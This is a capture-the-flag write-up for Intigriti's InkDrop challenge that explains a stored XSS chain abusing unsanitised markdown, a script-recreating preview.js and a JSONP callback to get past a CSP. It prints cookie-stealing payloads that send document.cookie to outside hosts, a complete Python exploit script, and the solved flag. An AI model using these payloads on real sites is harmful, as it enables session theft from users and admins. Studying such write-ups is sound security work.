Challenge URL: https://challenge-0226.intigriti.io/challenge
InkDrop is a simple blogging website where you can create posts. There's also a bot (an automated browser) that acts as an admin moderator. When you write a post and click "Report to Moderator", the bot opens your post in its own browser.
The bot carries a secret cookie containing the flag. Our goal is to make the bot's browser run our own JavaScript code when it visits our post, so we can steal that cookie and read the flag.
This type of attack is called XSS (Cross-Site Scripting) — we're injecting our own script into a web page so it runs in someone else's browser.
After looking at the source code, here's what the app does:
- Users can register, login, create posts, and view their own posts.
- Posts are stored in a database. When you view a post, a JavaScript file called
preview.jsloads the post content from an API endpoint and displays it. - Reporting a post sends a message to the bot. The bot then logs in as admin, opens the post in a real Chromium browser, and waits 5 seconds before closing it.
- The flag is stored as a cookie in the bot's browser. The cookie is not httpOnly, which means JavaScript running on the page can read it using
document.cookie.
Here is the post view page. Notice the "Report to Moderator" button at the bottom — that's what triggers the bot to visit our post.
We need to find a way to run our own JavaScript in the bot's browser. Let's look at the code piece by piece.
When you create a post, the content goes through a function called render_markdown(). This function converts markdown syntax (like **bold**) into HTML. But it never removes or escapes raw HTML tags. So if you type <h1>hello</h1> as your post content, it gets passed through as-is.
This means we can inject any HTML we want into the rendered output, including <script> tags.
# From app.py — the render_markdown function
def render_markdown(content):
html_content = content
# It does some regex replacements for markdown...
html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
# ...but NEVER sanitizes or removes HTML tags!
return html_contentWhen you view a post, preview.js fetches the rendered HTML from /api/render and puts it into the page using innerHTML. Normally, <script> tags inserted via innerHTML don't execute — that's a browser security feature.
But look at what preview.js does next:
// From preview.js — the processContent function
function processContent(container) {
// ...
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
if (script.src && script.src.includes('/api/')) {
// It creates a BRAND NEW script element and adds it to the page!
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}It looks for any <script> tags in the rendered content, and if the src attribute contains /api/, it re-creates the script element and adds it to the page. This new script will execute!
So if we inject a <script src="/api/something"> tag in our post, the script will be loaded and run.
The app has a JSONP endpoint at /api/jsonp. JSONP is an old technique where the server wraps JSON data inside a function call. The function name comes from the callback query parameter and whatever you pass gets reflected into the response:
Request: GET /api/jsonp?callback=myFunction
Response: myFunction({"authenticated": false, "timestamp": 123456})
The only filter is that < and > are blocked in the callback — but we don't need those characters for JavaScript code!
This means we can make the server return any JavaScript code we want by controlling the callback parameter:
Request: GET /api/jsonp?callback=fetch('https://evil.com')//
Response: fetch('https://evil.com')//{"authenticated": false, ...}
The // at the end comments out the JSON data, so only our fetch() runs.
The page has a Content Security Policy (CSP) that restricts which scripts can run:
script-src 'self'; connect-src *;
script-src 'self'— only scripts from the same website can run. The JSONP endpoint is on the same website, so it's allowed!connect-src *— the page can make network requests to any URL. This lets us send the stolen cookie to our server.
Now we chain everything together:
1. Create a post containing:
<script src="/api/jsonp?callback=OUR_JAVASCRIPT_CODE//"></script>
2. When the bot visits our post:
- preview.js fetches the rendered HTML from /api/render
- It finds our <script> tag and re-creates it
- The browser loads /api/jsonp?callback=OUR_CODE//
- The JSONP endpoint returns our code as valid JavaScript
- Our code runs in the bot's browser!
3. Our code reads document.cookie (which contains the flag)
and sends it to our server using fetch()
Our post content will be:
<script src="/api/jsonp?callback=fetch('https://YOUR-SERVER/?cookie='%2bdocument.cookie)//"></script>Here's the exploit script that automates everything:
import requests
import re
BASE_URL = "https://challenge-0226.intigriti.io"
WEBHOOK_URL = "https://your-server.requestcatcher.com/xss"
s = requests.Session()
# 1. Register and login
username = "random"
password = "random"
s.post(f"{BASE_URL}/register", data={"username": username, "password": password})
s.post(f"{BASE_URL}/login", data={"username": username, "password": password})
# 2. Create a post with our XSS payload
callback = f"fetch('{WEBHOOK_URL}?cookie='%2bdocument.cookie)//"
payload = f'<script src="/api/jsonp?callback={callback}"></script>'
r = s.post(f"{BASE_URL}/post/new", data={
"title": "Interesting Article",
"content": payload
}, allow_redirects=True)
# 3. Get the post ID from the redirect URL
post_id = r.url.split('/post/')[-1]
print(f"Created post: {post_id}")
# 4. Report the post so the bot visits it
s.post(f"{BASE_URL}/report/{post_id}")
print("Reported! Check your webhook for the flag.")After running this:
- The bot logs in as admin
- The bot opens our post in its browser
preview.jsloads and re-creates our script tag- The JSONP endpoint returns our JavaScript
- Our JavaScript runs and sends
document.cookieto our webhook - We receive the flag!
On our webhook, we receive a request with the cookie:
Flag: INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}